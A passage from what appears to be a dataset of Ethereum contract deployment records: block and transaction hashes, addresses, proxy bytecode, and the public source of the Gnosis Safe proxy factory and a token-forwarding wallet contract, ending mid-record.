Search is not available for this dataset
chain_id
uint64 1
1
| block_number
uint64 19.5M
20M
| block_hash
stringlengths 64
64
| transaction_hash
stringlengths 64
64
| deployer_address
stringlengths 40
40
| factory_address
stringlengths 40
40
| contract_address
stringlengths 40
40
| creation_bytecode
stringlengths 0
98.3k
| runtime_bytecode
stringlengths 0
49.2k
| creation_sourcecode
stringlengths 0
976k
|
---|---|---|---|---|---|---|---|---|---|
1 | 19,502,175 |
9432c6f777eb7d9c106856edcda65a8d7675a388b586bdd4ecd6955b9a16dc9a
|
6c286158f185974526fbb61220e0c917cfc783bad80f0db7191f1949b6dc7a9c
|
443208a16689554308597fd86b66d8d5895e082f
|
881d4032abe4188e2237efcd27ab435e81fc6bb1
|
972695d561d774e83e764c7fdc342aa4ff5483a6
|
3d602d80600a3d3981f3363d3d373d3d3d363d736a8e0ef44c7961b99e3387bae47b3591d45dabb05af43d82803e903d91602b57fd5bf3
|
363d3d373d3d3d363d736a8e0ef44c7961b99e3387bae47b3591d45dabb05af43d82803e903d91602b57fd5bf3
| |
1 | 19,502,175 |
9432c6f777eb7d9c106856edcda65a8d7675a388b586bdd4ecd6955b9a16dc9a
|
b1cfb40d9cc9c227dcd884da87c29561895e567583ad27cef1a0515c25cf9cff
|
4c86b359752ef258ca43e1dfa4fcde13c832cb54
|
881d4032abe4188e2237efcd27ab435e81fc6bb1
|
69d7ae85ea1382c24db239b65b28a2894d067f44
|
3d602d80600a3d3981f3363d3d373d3d3d363d73479d6e32d74e3c4fcd00b0e08f1a2c87ff4f04575af43d82803e903d91602b57fd5bf3
|
363d3d373d3d3d363d73479d6e32d74e3c4fcd00b0e08f1a2c87ff4f04575af43d82803e903d91602b57fd5bf3
| |
1 | 19,502,175 |
9432c6f777eb7d9c106856edcda65a8d7675a388b586bdd4ecd6955b9a16dc9a
|
e3ce8dfdb967fb6842a67e7411b6c3de7cf0aa0fa4fd02de16180466adb91ab9
|
7eafc29518634e6a181caaa9f1e8a090e0c0ed47
|
881d4032abe4188e2237efcd27ab435e81fc6bb1
|
74b13e7462929ca217789c406071224278275d26
|
3d602d80600a3d3981f3363d3d373d3d3d363d73479d6e32d74e3c4fcd00b0e08f1a2c87ff4f04575af43d82803e903d91602b57fd5bf3
|
363d3d373d3d3d363d73479d6e32d74e3c4fcd00b0e08f1a2c87ff4f04575af43d82803e903d91602b57fd5bf3
| |
1 | 19,502,175 |
9432c6f777eb7d9c106856edcda65a8d7675a388b586bdd4ecd6955b9a16dc9a
|
c782b90538688d827d0e0a2f2680edb7807284100160f950c1310ab5d28f5515
|
c0301a9d8f2967c40b02e09e39f68d1462590c14
|
881d4032abe4188e2237efcd27ab435e81fc6bb1
|
5e9f0d503d1fb060630f6baa9f56c17ec702a1a7
|
3d602d80600a3d3981f3363d3d373d3d3d363d73479d6e32d74e3c4fcd00b0e08f1a2c87ff4f04575af43d82803e903d91602b57fd5bf3
|
363d3d373d3d3d363d73479d6e32d74e3c4fcd00b0e08f1a2c87ff4f04575af43d82803e903d91602b57fd5bf3
| |
1 | 19,502,175 |
9432c6f777eb7d9c106856edcda65a8d7675a388b586bdd4ecd6955b9a16dc9a
|
42a17f6c418b4174034975a0aa7cd6fd3b449f46d0107deb7ea6689262b6dc54
|
feeb8cfa0be9603594beb8ccbfa83c74ece10729
|
881d4032abe4188e2237efcd27ab435e81fc6bb1
|
1c29eec4e9a38c108585d032f8fc6476a84a8979
|
3d602d80600a3d3981f3363d3d373d3d3d363d734e0a726d2a4a61471eb90b0ebe1a66e9c1e65cbd5af43d82803e903d91602b57fd5bf3
|
363d3d373d3d3d363d734e0a726d2a4a61471eb90b0ebe1a66e9c1e65cbd5af43d82803e903d91602b57fd5bf3
| |
1 | 19,502,175 |
9432c6f777eb7d9c106856edcda65a8d7675a388b586bdd4ecd6955b9a16dc9a
|
a873140d57ab4915d3e9e539db4d93ceb915c584c73d281153e874c2e1cc23fb
|
4caf9479df022959ecfee889510904f353f1ea35
|
881d4032abe4188e2237efcd27ab435e81fc6bb1
|
d00beb3ce057af84dff5fc85cd6ca955d89f8596
|
3d602d80600a3d3981f3363d3d373d3d3d363d7349b4dcfacce279d8684b77f74ec59e975e62467a5af43d82803e903d91602b57fd5bf3
|
363d3d373d3d3d363d7349b4dcfacce279d8684b77f74ec59e975e62467a5af43d82803e903d91602b57fd5bf3
| |
1 | 19,502,175 |
9432c6f777eb7d9c106856edcda65a8d7675a388b586bdd4ecd6955b9a16dc9a
|
594c257866aaf92bbb5e5801b4e3e6872514d15d515f1d647466af2310621114
|
88a1f047e3b6d47d53536bb1c07f5b899d4b9da9
|
881d4032abe4188e2237efcd27ab435e81fc6bb1
|
1827efb22d07d450f7a00a81871b565ec270852c
|
3d602d80600a3d3981f3363d3d373d3d3d363d73ea6bb03ec1b3ec574f17980b540d932ec5d925955af43d82803e903d91602b57fd5bf3
|
363d3d373d3d3d363d73ea6bb03ec1b3ec574f17980b540d932ec5d925955af43d82803e903d91602b57fd5bf3
| |
1 | 19,502,176 |
144111339cef2b0ab25001e9f89cc69aadbd06a65de3a1524e14aca500e6de28
|
5a36e22a71a59c307f2c48130e540818494f96841d2583cdd9688b3e96a77fe6
|
b3077936378d664410f0b02de779b1a169f7a0b6
|
a6b71e26c5e0845f74c812102ca7114b6a896ab2
|
db3c144b1a21a17344ce0ecd3a7794ab43bfdd73
|
608060405234801561001057600080fd5b506040516101e63803806101e68339818101604052602081101561003357600080fd5b8101908080519060200190929190505050600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156100ca576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806101c46022913960400191505060405180910390fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505060ab806101196000396000f3fe608060405273ffffffffffffffffffffffffffffffffffffffff600054167fa619486e0000000000000000000000000000000000000000000000000000000060003514156050578060005260206000f35b3660008037600080366000845af43d6000803e60008114156070573d6000fd5b3d6000f3fea2646970667358221220d1429297349653a4918076d650332de1a1068c5f3e07c5c82360c277770b955264736f6c63430007060033496e76616c69642073696e676c65746f6e20616464726573732070726f7669646564000000000000000000000000d9db270c1b5e3bd161e8c8503c55ceabee709552
|
608060405273ffffffffffffffffffffffffffffffffffffffff600054167fa619486e0000000000000000000000000000000000000000000000000000000060003514156050578060005260206000f35b3660008037600080366000845af43d6000803e60008114156070573d6000fd5b3d6000f3fea2646970667358221220d1429297349653a4918076d650332de1a1068c5f3e07c5c82360c277770b955264736f6c63430007060033
|
// SPDX-License-Identifier: LGPL-3.0-only
pragma solidity >=0.7.0 <0.9.0;
/// @title IProxy - Helper interface to access masterCopy of the Proxy on-chain
/// @author Richard Meissner - <richard@gnosis.io>
interface IProxy {
function masterCopy() external view returns (address);
}
/// @title GnosisSafeProxy - Generic proxy contract allows to execute all transactions applying the code of a master contract.
/// @author Stefan George - <stefan@gnosis.io>
/// @author Richard Meissner - <richard@gnosis.io>
contract GnosisSafeProxy {
// singleton always needs to be first declared variable, to ensure that it is at the same location in the contracts to which calls are delegated.
// To reduce deployment costs this variable is internal and needs to be retrieved via `getStorageAt`
address internal singleton;
/// @dev Constructor function sets address of singleton contract.
/// @param _singleton Singleton address.
constructor(address _singleton) {
require(_singleton != address(0), "Invalid singleton address provided");
singleton = _singleton;
}
/// @dev Fallback function forwards all transactions and returns all received return data.
fallback() external payable {
// solhint-disable-next-line no-inline-assembly
assembly {
let _singleton := and(sload(0), 0xffffffffffffffffffffffffffffffffffffffff)
// 0xa619486e == keccak("masterCopy()"). The value is right padded to 32-bytes with 0s
if eq(calldataload(0), 0xa619486e00000000000000000000000000000000000000000000000000000000) {
mstore(0, _singleton)
return(0, 0x20)
}
calldatacopy(0, 0, calldatasize())
let success := delegatecall(gas(), _singleton, 0, calldatasize(), 0, 0)
returndatacopy(0, 0, returndatasize())
if eq(success, 0) {
revert(0, returndatasize())
}
return(0, returndatasize())
}
}
}
/// @title Proxy Factory - Allows to create new proxy contact and execute a message call to the new proxy within one transaction.
/// @author Stefan George - <stefan@gnosis.pm>
contract GnosisSafeProxyFactory {
event ProxyCreation(GnosisSafeProxy proxy, address singleton);
/// @dev Allows to create new proxy contact and execute a message call to the new proxy within one transaction.
/// @param singleton Address of singleton contract.
/// @param data Payload for message call sent to new proxy contract.
function createProxy(address singleton, bytes memory data) public returns (GnosisSafeProxy proxy) {
proxy = new GnosisSafeProxy(singleton);
if (data.length > 0)
// solhint-disable-next-line no-inline-assembly
assembly {
if eq(call(gas(), proxy, 0, add(data, 0x20), mload(data), 0, 0), 0) {
revert(0, 0)
}
}
emit ProxyCreation(proxy, singleton);
}
/// @dev Allows to retrieve the runtime code of a deployed Proxy. This can be used to check that the expected Proxy was deployed.
function proxyRuntimeCode() public pure returns (bytes memory) {
return type(GnosisSafeProxy).runtimeCode;
}
/// @dev Allows to retrieve the creation code used for the Proxy deployment. With this it is easily possible to calculate predicted address.
function proxyCreationCode() public pure returns (bytes memory) {
return type(GnosisSafeProxy).creationCode;
}
/// @dev Allows to create new proxy contact using CREATE2 but it doesn't run the initializer.
/// This method is only meant as an utility to be called from other methods
/// @param _singleton Address of singleton contract.
/// @param initializer Payload for message call sent to new proxy contract.
/// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract.
function deployProxyWithNonce(
address _singleton,
bytes memory initializer,
uint256 saltNonce
) internal returns (GnosisSafeProxy proxy) {
// If the initializer changes the proxy address should change too. Hashing the initializer data is cheaper than just concatinating it
bytes32 salt = keccak256(abi.encodePacked(keccak256(initializer), saltNonce));
bytes memory deploymentData = abi.encodePacked(type(GnosisSafeProxy).creationCode, uint256(uint160(_singleton)));
// solhint-disable-next-line no-inline-assembly
assembly {
proxy := create2(0x0, add(0x20, deploymentData), mload(deploymentData), salt)
}
require(address(proxy) != address(0), "Create2 call failed");
}
/// @dev Allows to create new proxy contact and execute a message call to the new proxy within one transaction.
/// @param _singleton Address of singleton contract.
/// @param initializer Payload for message call sent to new proxy contract.
/// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract.
function createProxyWithNonce(
address _singleton,
bytes memory initializer,
uint256 saltNonce
) public returns (GnosisSafeProxy proxy) {
proxy = deployProxyWithNonce(_singleton, initializer, saltNonce);
if (initializer.length > 0)
// solhint-disable-next-line no-inline-assembly
assembly {
if eq(call(gas(), proxy, 0, add(initializer, 0x20), mload(initializer), 0, 0), 0) {
revert(0, 0)
}
}
emit ProxyCreation(proxy, _singleton);
}
/// @dev Allows to create new proxy contact, execute a message call to the new proxy and call a specified callback within one transaction
/// @param _singleton Address of singleton contract.
/// @param initializer Payload for message call sent to new proxy contract.
/// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract.
/// @param callback Callback that will be invoced after the new proxy contract has been successfully deployed and initialized.
function createProxyWithCallback(
address _singleton,
bytes memory initializer,
uint256 saltNonce,
IProxyCreationCallback callback
) public returns (GnosisSafeProxy proxy) {
uint256 saltNonceWithCallback = uint256(keccak256(abi.encodePacked(saltNonce, callback)));
proxy = createProxyWithNonce(_singleton, initializer, saltNonceWithCallback);
if (address(callback) != address(0)) callback.proxyCreated(proxy, _singleton, initializer, saltNonce);
}
/// @dev Allows to get the address for a new proxy contact created via `createProxyWithNonce`
/// This method is only meant for address calculation purpose when you use an initializer that would revert,
/// therefore the response is returned with a revert. When calling this method set `from` to the address of the proxy factory.
/// @param _singleton Address of singleton contract.
/// @param initializer Payload for message call sent to new proxy contract.
/// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract.
function calculateCreateProxyWithNonceAddress(
address _singleton,
bytes calldata initializer,
uint256 saltNonce
) external returns (GnosisSafeProxy proxy) {
proxy = deployProxyWithNonce(_singleton, initializer, saltNonce);
revert(string(abi.encodePacked(proxy)));
}
}
interface IProxyCreationCallback {
function proxyCreated(
GnosisSafeProxy proxy,
address _singleton,
bytes calldata initializer,
uint256 saltNonce
) external;
}
|
1 | 19,502,179 |
c2a12a0a8572af98cfd09b4efadb129ada5105077fe0a7474ad253fc2e497cb9
|
d53562d28c7754c4e2eedd0e7945b3b8f1c49a1dbd768f632b1a5b0f7d17391a
|
84ba51a3b082066482385c2e77c15b36b2888888
|
fc27cd13b432805f47c90a16646d402566bd3143
|
40d58f028933e0515b2053c0bba957efa741d6a7
|
60a060405234801561001057600080fd5b506040516101093803806101098339818101604052602081101561003357600080fd5b50516001600160601b031960609190911b16608052600080546001600160a01b0319163317905560805160601c609561007460003980601b525060956000f3fe608060405236600a57005b348015601557600080fd5b506040517f0000000000000000000000000000000000000000000000000000000000000000903680600083376000808284865af43d9150816000843e808015605b578284f35b8284fdfea2646970667358221220c4a46717f67197616503d87ff2612122c70a6a9ed6d1f1999e000b68e428470964736f6c634300060c003300000000000000000000000080d0f44d6c1563de6ba356aa8dfe7abdbe8a174a
|
608060405236600a57005b348015601557600080fd5b506040517f00000000000000000000000080d0f44d6c1563de6ba356aa8dfe7abdbe8a174a903680600083376000808284865af43d9150816000843e808015605b578284f35b8284fdfea2646970667358221220c4a46717f67197616503d87ff2612122c70a6a9ed6d1f1999e000b68e428470964736f6c634300060c0033
| |
1 | 19,502,179 |
c2a12a0a8572af98cfd09b4efadb129ada5105077fe0a7474ad253fc2e497cb9
|
d53562d28c7754c4e2eedd0e7945b3b8f1c49a1dbd768f632b1a5b0f7d17391a
|
84ba51a3b082066482385c2e77c15b36b2888888
|
fc27cd13b432805f47c90a16646d402566bd3143
|
68b6895a0004b2ce9d6193051495a4d669082298
|
60a060405234801561001057600080fd5b506040516101093803806101098339818101604052602081101561003357600080fd5b50516001600160601b031960609190911b16608052600080546001600160a01b0319163317905560805160601c609561007460003980601b525060956000f3fe608060405236600a57005b348015601557600080fd5b506040517f0000000000000000000000000000000000000000000000000000000000000000903680600083376000808284865af43d9150816000843e808015605b578284f35b8284fdfea2646970667358221220c4a46717f67197616503d87ff2612122c70a6a9ed6d1f1999e000b68e428470964736f6c634300060c003300000000000000000000000080d0f44d6c1563de6ba356aa8dfe7abdbe8a174a
|
608060405236600a57005b348015601557600080fd5b506040517f00000000000000000000000080d0f44d6c1563de6ba356aa8dfe7abdbe8a174a903680600083376000808284865af43d9150816000843e808015605b578284f35b8284fdfea2646970667358221220c4a46717f67197616503d87ff2612122c70a6a9ed6d1f1999e000b68e428470964736f6c634300060c0033
| |
1 | 19,502,184 |
4c6f72fa3d63836b31b27a4e719905b42f7a1a6946efac9fdce6bbda048448ac
|
70797753a202dfd85abb8684c890868d46b20cf6bab857704f38af44b5399d28
|
2121c7e420d8d2af557899451902d12dfe646825
|
a6b71e26c5e0845f74c812102ca7114b6a896ab2
|
d5592ff85273829ee22624c9a52d24487f016d2e
|
608060405234801561001057600080fd5b506040516101e63803806101e68339818101604052602081101561003357600080fd5b8101908080519060200190929190505050600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156100ca576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806101c46022913960400191505060405180910390fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505060ab806101196000396000f3fe608060405273ffffffffffffffffffffffffffffffffffffffff600054167fa619486e0000000000000000000000000000000000000000000000000000000060003514156050578060005260206000f35b3660008037600080366000845af43d6000803e60008114156070573d6000fd5b3d6000f3fea2646970667358221220d1429297349653a4918076d650332de1a1068c5f3e07c5c82360c277770b955264736f6c63430007060033496e76616c69642073696e676c65746f6e20616464726573732070726f7669646564000000000000000000000000d9db270c1b5e3bd161e8c8503c55ceabee709552
|
608060405273ffffffffffffffffffffffffffffffffffffffff600054167fa619486e0000000000000000000000000000000000000000000000000000000060003514156050578060005260206000f35b3660008037600080366000845af43d6000803e60008114156070573d6000fd5b3d6000f3fea2646970667358221220d1429297349653a4918076d650332de1a1068c5f3e07c5c82360c277770b955264736f6c63430007060033
|
// SPDX-License-Identifier: LGPL-3.0-only
pragma solidity >=0.7.0 <0.9.0;
/// @title IProxy - Helper interface to access masterCopy of the Proxy on-chain
/// @author Richard Meissner - <richard@gnosis.io>
interface IProxy {
function masterCopy() external view returns (address);
}
/// @title GnosisSafeProxy - Generic proxy contract allows to execute all transactions applying the code of a master contract.
/// @author Stefan George - <stefan@gnosis.io>
/// @author Richard Meissner - <richard@gnosis.io>
contract GnosisSafeProxy {
// singleton always needs to be first declared variable, to ensure that it is at the same location in the contracts to which calls are delegated.
// To reduce deployment costs this variable is internal and needs to be retrieved via `getStorageAt`
address internal singleton;
/// @dev Constructor function sets address of singleton contract.
/// @param _singleton Singleton address.
constructor(address _singleton) {
require(_singleton != address(0), "Invalid singleton address provided");
singleton = _singleton;
}
/// @dev Fallback function forwards all transactions and returns all received return data.
fallback() external payable {
// solhint-disable-next-line no-inline-assembly
assembly {
let _singleton := and(sload(0), 0xffffffffffffffffffffffffffffffffffffffff)
// 0xa619486e == keccak("masterCopy()"). The value is right padded to 32-bytes with 0s
if eq(calldataload(0), 0xa619486e00000000000000000000000000000000000000000000000000000000) {
mstore(0, _singleton)
return(0, 0x20)
}
calldatacopy(0, 0, calldatasize())
let success := delegatecall(gas(), _singleton, 0, calldatasize(), 0, 0)
returndatacopy(0, 0, returndatasize())
if eq(success, 0) {
revert(0, returndatasize())
}
return(0, returndatasize())
}
}
}
/// @title Proxy Factory - Allows to create new proxy contact and execute a message call to the new proxy within one transaction.
/// @author Stefan George - <stefan@gnosis.pm>
contract GnosisSafeProxyFactory {
event ProxyCreation(GnosisSafeProxy proxy, address singleton);
/// @dev Allows to create new proxy contact and execute a message call to the new proxy within one transaction.
/// @param singleton Address of singleton contract.
/// @param data Payload for message call sent to new proxy contract.
function createProxy(address singleton, bytes memory data) public returns (GnosisSafeProxy proxy) {
proxy = new GnosisSafeProxy(singleton);
if (data.length > 0)
// solhint-disable-next-line no-inline-assembly
assembly {
if eq(call(gas(), proxy, 0, add(data, 0x20), mload(data), 0, 0), 0) {
revert(0, 0)
}
}
emit ProxyCreation(proxy, singleton);
}
/// @dev Allows to retrieve the runtime code of a deployed Proxy. This can be used to check that the expected Proxy was deployed.
function proxyRuntimeCode() public pure returns (bytes memory) {
return type(GnosisSafeProxy).runtimeCode;
}
/// @dev Allows to retrieve the creation code used for the Proxy deployment. With this it is easily possible to calculate predicted address.
function proxyCreationCode() public pure returns (bytes memory) {
return type(GnosisSafeProxy).creationCode;
}
/// @dev Allows to create new proxy contact using CREATE2 but it doesn't run the initializer.
/// This method is only meant as an utility to be called from other methods
/// @param _singleton Address of singleton contract.
/// @param initializer Payload for message call sent to new proxy contract.
/// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract.
function deployProxyWithNonce(
address _singleton,
bytes memory initializer,
uint256 saltNonce
) internal returns (GnosisSafeProxy proxy) {
// If the initializer changes the proxy address should change too. Hashing the initializer data is cheaper than just concatinating it
bytes32 salt = keccak256(abi.encodePacked(keccak256(initializer), saltNonce));
bytes memory deploymentData = abi.encodePacked(type(GnosisSafeProxy).creationCode, uint256(uint160(_singleton)));
// solhint-disable-next-line no-inline-assembly
assembly {
proxy := create2(0x0, add(0x20, deploymentData), mload(deploymentData), salt)
}
require(address(proxy) != address(0), "Create2 call failed");
}
/// @dev Allows to create new proxy contact and execute a message call to the new proxy within one transaction.
/// @param _singleton Address of singleton contract.
/// @param initializer Payload for message call sent to new proxy contract.
/// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract.
function createProxyWithNonce(
address _singleton,
bytes memory initializer,
uint256 saltNonce
) public returns (GnosisSafeProxy proxy) {
proxy = deployProxyWithNonce(_singleton, initializer, saltNonce);
if (initializer.length > 0)
// solhint-disable-next-line no-inline-assembly
assembly {
if eq(call(gas(), proxy, 0, add(initializer, 0x20), mload(initializer), 0, 0), 0) {
revert(0, 0)
}
}
emit ProxyCreation(proxy, _singleton);
}
/// @dev Allows to create new proxy contact, execute a message call to the new proxy and call a specified callback within one transaction
/// @param _singleton Address of singleton contract.
/// @param initializer Payload for message call sent to new proxy contract.
/// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract.
/// @param callback Callback that will be invoced after the new proxy contract has been successfully deployed and initialized.
function createProxyWithCallback(
address _singleton,
bytes memory initializer,
uint256 saltNonce,
IProxyCreationCallback callback
) public returns (GnosisSafeProxy proxy) {
uint256 saltNonceWithCallback = uint256(keccak256(abi.encodePacked(saltNonce, callback)));
proxy = createProxyWithNonce(_singleton, initializer, saltNonceWithCallback);
if (address(callback) != address(0)) callback.proxyCreated(proxy, _singleton, initializer, saltNonce);
}
/// @dev Allows to get the address for a new proxy contact created via `createProxyWithNonce`
/// This method is only meant for address calculation purpose when you use an initializer that would revert,
/// therefore the response is returned with a revert. When calling this method set `from` to the address of the proxy factory.
/// @param _singleton Address of singleton contract.
/// @param initializer Payload for message call sent to new proxy contract.
/// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract.
function calculateCreateProxyWithNonceAddress(
address _singleton,
bytes calldata initializer,
uint256 saltNonce
) external returns (GnosisSafeProxy proxy) {
proxy = deployProxyWithNonce(_singleton, initializer, saltNonce);
revert(string(abi.encodePacked(proxy)));
}
}
interface IProxyCreationCallback {
function proxyCreated(
GnosisSafeProxy proxy,
address _singleton,
bytes calldata initializer,
uint256 saltNonce
) external;
}
|
1 | 19,502,192 |
bf1b99dfa5bffea81f8c8f0d9973c385c795ba415be374dbd1e5fe176a32a192
|
9f9a95f5415d0cb4d56537137de4d6358f3cf04050c5986e9b63f83b1f7a7318
|
2a577d92f33ebedc2d002410734c7113a75572ff
|
29ef46035e9fa3d570c598d3266424ca11413b0c
|
fc50068ee815e62a7203d69324ba43ddbd6e5a49
|
3d602d80600a3d3981f3363d3d373d3d3d363d735397d0869aba0d55e96d5716d383f6e1d8695ed75af43d82803e903d91602b57fd5bf3
|
363d3d373d3d3d363d735397d0869aba0d55e96d5716d383f6e1d8695ed75af43d82803e903d91602b57fd5bf3
|
{{
"language": "Solidity",
"sources": {
"contracts/Forwarder.sol": {
"content": "// SPDX-License-Identifier: Apache-2.0\npragma solidity 0.8.10;\nimport '@openzeppelin/contracts/token/ERC1155/IERC1155.sol';\nimport '@openzeppelin/contracts/token/ERC721/IERC721.sol';\nimport '@openzeppelin/contracts/token/ERC721/IERC721Receiver.sol';\nimport '@openzeppelin/contracts/token/ERC1155/utils/ERC1155Receiver.sol';\nimport './ERC20Interface.sol';\nimport './TransferHelper.sol';\nimport './IForwarder.sol';\n\n/**\n * Contract that will forward any incoming Ether to the creator of the contract\n *\n */\ncontract Forwarder is IERC721Receiver, ERC1155Receiver, IForwarder {\n // Address to which any funds sent to this contract will be forwarded\n address public parentAddress;\n bool public autoFlush721 = true;\n bool public autoFlush1155 = true;\n\n event ForwarderDeposited(address from, uint256 value, bytes data);\n\n /**\n * Initialize the contract, and sets the destination address to that of the creator\n */\n function init(\n address _parentAddress,\n bool _autoFlush721,\n bool _autoFlush1155\n ) external onlyUninitialized {\n parentAddress = _parentAddress;\n uint256 value = address(this).balance;\n\n // set whether we want to automatically flush erc721/erc1155 tokens or not\n autoFlush721 = _autoFlush721;\n autoFlush1155 = _autoFlush1155;\n\n if (value == 0) {\n return;\n }\n\n (bool success, ) = parentAddress.call{ value: value }('');\n require(success, 'Flush failed');\n\n // NOTE: since we are forwarding on initialization,\n // we don't have the context of the original sender.\n // We still emit an event about the forwarding but set\n // the sender to the forwarder itself\n emit ForwarderDeposited(address(this), value, msg.data);\n }\n\n /**\n * Modifier that will execute internal code block only if the sender is the parent address\n */\n modifier onlyParent {\n require(msg.sender == parentAddress, 'Only Parent');\n _;\n }\n\n /**\n * Modifier that will execute internal code block only if the contract has not been initialized yet\n */\n modifier onlyUninitialized {\n require(parentAddress == address(0x0), 'Already initialized');\n _;\n }\n\n /**\n * Default function; Gets called when data is sent but does not match any other function\n */\n fallback() external payable {\n flush();\n }\n\n /**\n * Default function; Gets called when Ether is deposited with no data, and forwards it to the parent address\n */\n receive() external payable {\n flush();\n }\n\n /**\n * @inheritdoc IForwarder\n */\n function setAutoFlush721(bool autoFlush)\n external\n virtual\n override\n onlyParent\n {\n autoFlush721 = autoFlush;\n }\n\n /**\n * @inheritdoc IForwarder\n */\n function setAutoFlush1155(bool autoFlush)\n external\n virtual\n override\n onlyParent\n {\n autoFlush1155 = autoFlush;\n }\n\n /**\n * ERC721 standard callback function for when a ERC721 is transfered. The forwarder will send the nft\n * to the base wallet once the nft contract invokes this method after transfering the nft.\n *\n * @param _operator The address which called `safeTransferFrom` function\n * @param _from The address of the sender\n * @param _tokenId The token id of the nft\n * @param data Additional data with no specified format, sent in call to `_to`\n */\n function onERC721Received(\n address _operator,\n address _from,\n uint256 _tokenId,\n bytes memory data\n ) external virtual override returns (bytes4) {\n if (autoFlush721) {\n IERC721 instance = IERC721(msg.sender);\n require(\n instance.supportsInterface(type(IERC721).interfaceId),\n 'The caller does not support the ERC721 interface'\n );\n // this won't work for ERC721 re-entrancy\n instance.safeTransferFrom(address(this), parentAddress, _tokenId, data);\n }\n\n return this.onERC721Received.selector;\n }\n\n function callFromParent(\n address target,\n uint256 value,\n bytes calldata data\n ) external onlyParent returns (bytes memory) {\n (bool success, bytes memory returnedData) = target.call{ value: value }(\n data\n );\n require(success, 'Parent call execution failed');\n\n return returnedData;\n }\n\n /**\n * @inheritdoc IERC1155Receiver\n */\n function onERC1155Received(\n address _operator,\n address _from,\n uint256 id,\n uint256 value,\n bytes calldata data\n ) external virtual override returns (bytes4) {\n IERC1155 instance = IERC1155(msg.sender);\n require(\n instance.supportsInterface(type(IERC1155).interfaceId),\n 'The caller does not support the IERC1155 interface'\n );\n\n if (autoFlush1155) {\n instance.safeTransferFrom(address(this), parentAddress, id, value, data);\n }\n\n return this.onERC1155Received.selector;\n }\n\n /**\n * @inheritdoc IERC1155Receiver\n */\n function onERC1155BatchReceived(\n address _operator,\n address _from,\n uint256[] calldata ids,\n uint256[] calldata values,\n bytes calldata data\n ) external virtual override returns (bytes4) {\n IERC1155 instance = IERC1155(msg.sender);\n require(\n instance.supportsInterface(type(IERC1155).interfaceId),\n 'The caller does not support the IERC1155 interface'\n );\n\n if (autoFlush1155) {\n instance.safeBatchTransferFrom(\n address(this),\n parentAddress,\n ids,\n values,\n data\n );\n }\n\n return this.onERC1155BatchReceived.selector;\n }\n\n /**\n * @inheritdoc IForwarder\n */\n function flushTokens(address tokenContractAddress)\n external\n virtual\n override\n onlyParent\n {\n ERC20Interface instance = ERC20Interface(tokenContractAddress);\n address forwarderAddress = address(this);\n uint256 forwarderBalance = instance.balanceOf(forwarderAddress);\n if (forwarderBalance == 0) {\n return;\n }\n\n TransferHelper.safeTransfer(\n tokenContractAddress,\n parentAddress,\n forwarderBalance\n );\n }\n\n /**\n * @inheritdoc IForwarder\n */\n function flushERC721Token(address tokenContractAddress, uint256 tokenId)\n external\n virtual\n override\n onlyParent\n {\n IERC721 instance = IERC721(tokenContractAddress);\n require(\n instance.supportsInterface(type(IERC721).interfaceId),\n 'The tokenContractAddress does not support the ERC721 interface'\n );\n\n address ownerAddress = instance.ownerOf(tokenId);\n instance.transferFrom(ownerAddress, parentAddress, tokenId);\n }\n\n /**\n * @inheritdoc IForwarder\n */\n function flushERC1155Tokens(address tokenContractAddress, uint256 tokenId)\n external\n virtual\n override\n onlyParent\n {\n IERC1155 instance = IERC1155(tokenContractAddress);\n require(\n instance.supportsInterface(type(IERC1155).interfaceId),\n 'The caller does not support the IERC1155 interface'\n );\n\n address forwarderAddress = address(this);\n uint256 forwarderBalance = instance.balanceOf(forwarderAddress, tokenId);\n\n instance.safeTransferFrom(\n forwarderAddress,\n parentAddress,\n tokenId,\n forwarderBalance,\n ''\n );\n }\n\n /**\n * @inheritdoc IForwarder\n */\n function batchFlushERC1155Tokens(\n address tokenContractAddress,\n uint256[] calldata tokenIds\n ) external virtual override onlyParent {\n IERC1155 instance = IERC1155(tokenContractAddress);\n require(\n instance.supportsInterface(type(IERC1155).interfaceId),\n 'The caller does not support the IERC1155 interface'\n );\n\n address forwarderAddress = address(this);\n uint256[] memory amounts = new uint256[](tokenIds.length);\n for (uint256 i = 0; i < tokenIds.length; i++) {\n amounts[i] = instance.balanceOf(forwarderAddress, tokenIds[i]);\n }\n\n instance.safeBatchTransferFrom(\n forwarderAddress,\n parentAddress,\n tokenIds,\n amounts,\n ''\n );\n }\n\n /**\n * Flush the entire balance of the contract to the parent address.\n */\n function flush() public {\n uint256 value = address(this).balance;\n\n if (value == 0) {\n return;\n }\n\n (bool success, ) = parentAddress.call{ value: value }('');\n require(success, 'Flush failed');\n emit ForwarderDeposited(msg.sender, value, msg.data);\n }\n\n /**\n * @inheritdoc IERC165\n */\n function supportsInterface(bytes4 interfaceId)\n public\n virtual\n override(ERC1155Receiver, IERC165)\n view\n returns (bool)\n {\n return\n interfaceId == type(IForwarder).interfaceId ||\n super.supportsInterface(interfaceId);\n }\n}\n"
},
"@openzeppelin/contracts/token/ERC1155/IERC1155.sol": {
